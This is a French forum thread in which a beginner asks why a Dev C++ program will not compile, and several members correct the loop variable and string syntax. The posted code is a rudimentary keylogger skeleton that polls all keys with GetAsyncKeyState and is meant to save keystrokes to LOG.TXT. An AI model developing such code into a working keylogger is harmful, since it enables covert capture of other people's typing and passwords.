Probleme avec dev c++

Fermé
nymph2641 Messages postés 6 Date d'inscription mercredi 18 juillet 2012 Statut Membre Dernière intervention 19 juillet 2012 - Modifié par nymph2641 le 19/07/2012 à 01:19
arth Messages postés 9374 Date d'inscription mardi 27 septembre 2005 Statut Contributeur Dernière intervention 16 décembre 2016 - 19 juil. 2012 à 15:39
Bonjour,

voila jai un nouveau probleme ;/

voici encore mes lignes



#include <iostream>
using namespace std;
#include <windows.h>
#include <Winuser.h>

int Save (int key_stroke, char *file);

int main()
{
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,*LOG.TXT*);
}
}
system ("PAUSE");
return 0;
}
/* ************************************** */
/* ************************************** */
int Save (int key_stroke, char *file)
{
cout << key_stroke << endl;
return 0;
}


Quand je click compile, une ligne rouge apparait sur la ligne :
for(i = 8; i <= 190; i++)

merci davance pour vos reponses :P

A voir également:

5 réponses

nymph2641 Messages postés 6 Date d'inscription mercredi 18 juillet 2012 Statut Membre Dernière intervention 19 juillet 2012
19 juil. 2012 à 05:14
svp quelquun
0
Char Snipeur Messages postés 9813 Date d'inscription vendredi 23 avril 2004 Statut Contributeur Dernière intervention 3 octobre 2023 1 298
19 juil. 2012 à 14:04
n'importe quoi ! "char" est bien un type entier au même titre que "int" ou "short" il est généralement codé sur 1 octet. char est signé, c'est à dire qu'il prend des valeurs allant de -128 à 127, donc i<190 sera toujours vrai. à ce moment là, il vaut mieux utiliser "unsigned char" à la place qui va de 0 à 255.
Ton erreur suivante vient du fait qu'une chaine de caractère se met entre guillemets et pas entre astérisques.
Save (i,"LOG.TXT");
0
arth Messages postés 9374 Date d'inscription mardi 27 septembre 2005 Statut Contributeur Dernière intervention 16 décembre 2016 1 292
19 juil. 2012 à 15:39
Merci pour les -1, c'est un réel plaisir !
0
arth Messages postés 9374 Date d'inscription mardi 27 septembre 2005 Statut Contributeur Dernière intervention 16 décembre 2016 1 292
19 juil. 2012 à 01:35
Normal, i n'est déclaré nulle part.

for(int i = 8; i <= 190; i++)
-1
nymph2641 Messages postés 6 Date d'inscription mercredi 18 juillet 2012 Statut Membre Dernière intervention 19 juillet 2012
19 juil. 2012 à 01:41
merci bcp, maintenent ca fait un erreur sur le Save (i,*LOG.TXT*);
dois-je mettre int en avant du i ?

dsl je commence tous juste en programation :P
0
arth Messages postés 9374 Date d'inscription mardi 27 septembre 2005 Statut Contributeur Dernière intervention 16 décembre 2016 1 292
19 juil. 2012 à 05:22
Oui :

int main()
{
char i;

Ici virer le char i;

qui ne sert à rien.
-1

Vous n’avez pas trouvé la réponse que vous recherchez ?

Posez votre question
Symeon94 Messages postés 138 Date d'inscription vendredi 2 janvier 2009 Statut Membre Dernière intervention 20 juillet 2012 2
Modifié par Symeon94 le 19/07/2012 à 13:04
tu peux pas mettre une valeur entiere dans une valeur de type char.
Efface char i; et mets

for(int i = 8 ; i < 190 ; i++)

Si tu desires sauvegarder le character qui a la valeur ascii i=8 -> 190 dans un fichier, tu devras les caster.
-1